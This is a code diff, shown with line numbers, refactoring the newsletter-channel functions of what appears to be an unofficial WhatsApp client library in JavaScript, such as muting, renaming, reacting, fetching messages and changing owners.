- /**user is Lid, not Jid */
320
- newsletterChangeOwner: async (jid, user) => {
321
- await newsletterWMexQuery(jid, Types_1.QueryIds.CHANGE_OWNER, {
322
- 'user_id': user
323
- });
324
- },
325
- /**user is Lid, not Jid */
326
- newsletterDemote: async (jid, user) => {
327
- await newsletterWMexQuery(jid, Types_1.QueryIds.DEMOTE, {
328
- 'user_id': user
329
- });
330
- },
331
- newsletterDelete: async (jid) => {
332
- await newsletterWMexQuery(jid, Types_1.QueryIds.DELETE);
210
+ newsletterMute: (jid) => {
211
+ return executeWMexQuery({ newsletter_id: jid }, QueryIds.MUTE, XWAPaths.xwa2_newsletter_mute_v2);
212
+ },
213
+ newsletterUnmute: (jid) => {
214
+ return executeWMexQuery({ newsletter_id: jid }, QueryIds.UNMUTE, XWAPaths.xwa2_newsletter_unmute_v2);
215
+ },
216
+ newsletterUpdateName: async (jid, name) => {
217
+ return await newsletterUpdate(jid, { name });
218
+ },
219
+ newsletterUpdateDescription: async (jid, description) => {
220
+ return await newsletterUpdate(jid, { description });
221
+ },
222
+ newsletterUpdatePicture: async (jid, content) => {
223
+ const { img } = await generateProfilePicture(content);
224
+ return await newsletterUpdate(jid, { picture: img.toString("base64") });
225
+ },
226
+ newsletterRemovePicture: async (jid) => {
227
+ return await newsletterUpdate(jid, { picture: "" });
228
+ },
229
+ newsletterReactMessage: async (jid, serverId, reaction) => {
230
+ await query({
231
+ tag: "message",
232
+ attrs: {
233
+ to: jid,
234
+ ...(reaction ? {} : { edit: "7" }),
235
+ type: "reaction",
236
+ server_id: serverId,
237
+ id: generateMessageTag()
333
238
  },
334
- /**if code wasn't passed, the reaction will be removed (if is reacted) */
335
- newsletterReactMessage: async (jid, serverId, code) => {
336
- await query({
337
- tag: 'message',
338
- attrs: { to: jid, ...(!code ? { edit: '7' } : {}), type: 'reaction', 'server_id': serverId, id: (0, Utils_1.generateMessageID)() },
339
- content: [{
340
- tag: 'reaction',
341
- attrs: code ? { code } : {}
342
- }]
343
- });
239
+ content: [
240
+ {
241
+ tag: "reaction",
242
+ attrs: reaction ? { code: reaction } : {}
243
+ }
244
+ ]
245
+ });
246
+ },
247
+ newsletterFetchMessages: async (jid, count, since, after) => {
248
+ const messageUpdateAttrs = {
249
+ count: count.toString()
250
+ };
251
+ if (typeof since === "number") {
252
+ messageUpdateAttrs.since = since.toString();
253
+ }
254
+ if (after) {
255
+ messageUpdateAttrs.after = after.toString();
256
+ }
257
+ const result = await query({
258
+ tag: "iq",
259
+ attrs: {
260
+ id: generateMessageTag(),
261
+ type: "get",
262
+ xmlns: "newsletter",
263
+ to: jid
344
264
  },
345
- newsletterFetchMessages: async (type, key, count, after) => {
346
- const result = await newsletterQuery(WABinary_1.S_WHATSAPP_NET, 'get', [
347
- {
348
- tag: 'messages',
349
- attrs: { type, ...(type === 'invite' ? { key } : { jid: key }), count: count.toString(), after: (after === null || after === void 0 ? void 0 : after.toString()) || '100' }
350
- }
351
- ]);
352
- return await parseFetchedUpdates(result, 'messages');
265
+ content: [
266
+ {
267
+ tag: "message_updates",
268
+ attrs: messageUpdateAttrs
269
+ }
270
+ ]
271
+ });
272
+ return result;
273
+ },
274
+ subscribeNewsletterUpdates: async (jid) => {
275
+ const result = await query({
276
+ tag: "iq",
277
+ attrs: {
278
+ id: generateMessageTag(),
279
+ type: "set",
280
+ xmlns: "newsletter",
281
+ to: jid
353
282
  },
354
- newsletterFetchUpdates: async (jid, count, after, since) => {
355
- const result = await newsletterQuery(jid, 'get', [
356
- {
357
- tag: 'message_updates',
358
- attrs: { count: count.toString(), after: (after === null || after === void 0 ? void 0 : after.toString()) || '100', since: (since === null || since === void 0 ? void 0 : since.toString()) || '0' }
359
- }
360
- ]);
361
- return await parseFetchedUpdates(result, 'updates');
362
- }
363
- };
364
- };
365
- exports.makeNewsletterSocket = makeNewsletterSocket;
366
- const extractNewsletterMetadata = (node, isCreate) => {
367
- const result = WABinary_1.getBinaryNodeChild(node, 'result')?.content?.toString()
368
- const metadataPath = JSON.parse(result).data[isCreate ? Types_1.XWAPaths.CREATE : Types_1.XWAPaths.NEWSLETTER]
369
-
370
- const metadata = {
371
- id: metadataPath?.id,
372
- state: metadataPath?.state?.type,
373
- creation_time: +metadataPath?.thread_metadata?.creation_time,
374
- name: metadataPath?.thread_metadata?.name?.text,
375
- nameTime: +metadataPath?.thread_metadata?.name?.update_time,
376
- description: metadataPath?.thread_metadata?.description?.text,
377
- descriptionTime: +metadataPath?.thread_metadata?.description?.update_time,
378
- invite: metadataPath?.thread_metadata?.invite,
379
- picture: Utils_1.getUrlFromDirectPath(metadataPath?.thread_metadata?.picture?.direct_path || ''),
380
- preview: Utils_1.getUrlFromDirectPath(metadataPath?.thread_metadata?.preview?.direct_path || ''),
381
- reaction_codes: metadataPath?.thread_metadata?.settings?.reaction_codes?.value,
382
- subscribers: +metadataPath?.thread_metadata?.subscribers_count,
383
- verification: metadataPath?.thread_metadata?.verification,
384
- viewer_metadata: metadataPath?.viewer_metadata
283
+ content: [{ tag: "live_updates", attrs: {}, content: [] }]
284
+ });
285
+ const liveUpdatesNode = getBinaryNodeChild(result, "live_updates");
286
+ const duration = liveUpdatesNode?.attrs?.duration;
287
+ return duration ? { duration: duration } : null;
288
+ },
289
+ newsletterAdminCount: async (jid) => {
290
+ const response = await executeWMexQuery({ newsletter_id: jid }, QueryIds.ADMIN_COUNT, XWAPaths.xwa2_newsletter_admin_count);
291
+ return response.admin_count;
292
+ },
293
+ newsletterChangeOwner: async (jid, newOwnerJid) => {
294
+ await executeWMexQuery({ newsletter_id: jid, user_id: newOwnerJid }, QueryIds.CHANGE_OWNER, XWAPaths.xwa2_newsletter_change_owner);
295
+ },
296
+ newsletterDemote: async (jid, userJid) => {
297
+ await executeWMexQuery({ newsletter_id: jid, user_id: userJid }, QueryIds.DEMOTE, XWAPaths.xwa2_newsletter_demote);
298
+ },
299
+ newsletterDelete: async (jid) => {
300
+ await executeWMexQuery({ newsletter_id: jid }, QueryIds.DELETE, XWAPaths.xwa2_newsletter_delete_v2);
385
301
  }
386
- return metadata
387
- }
388
- exports.extractNewsletterMetadata = extractNewsletterMetadata;
302
+ };
303
+ };
304
+ //=======================================================//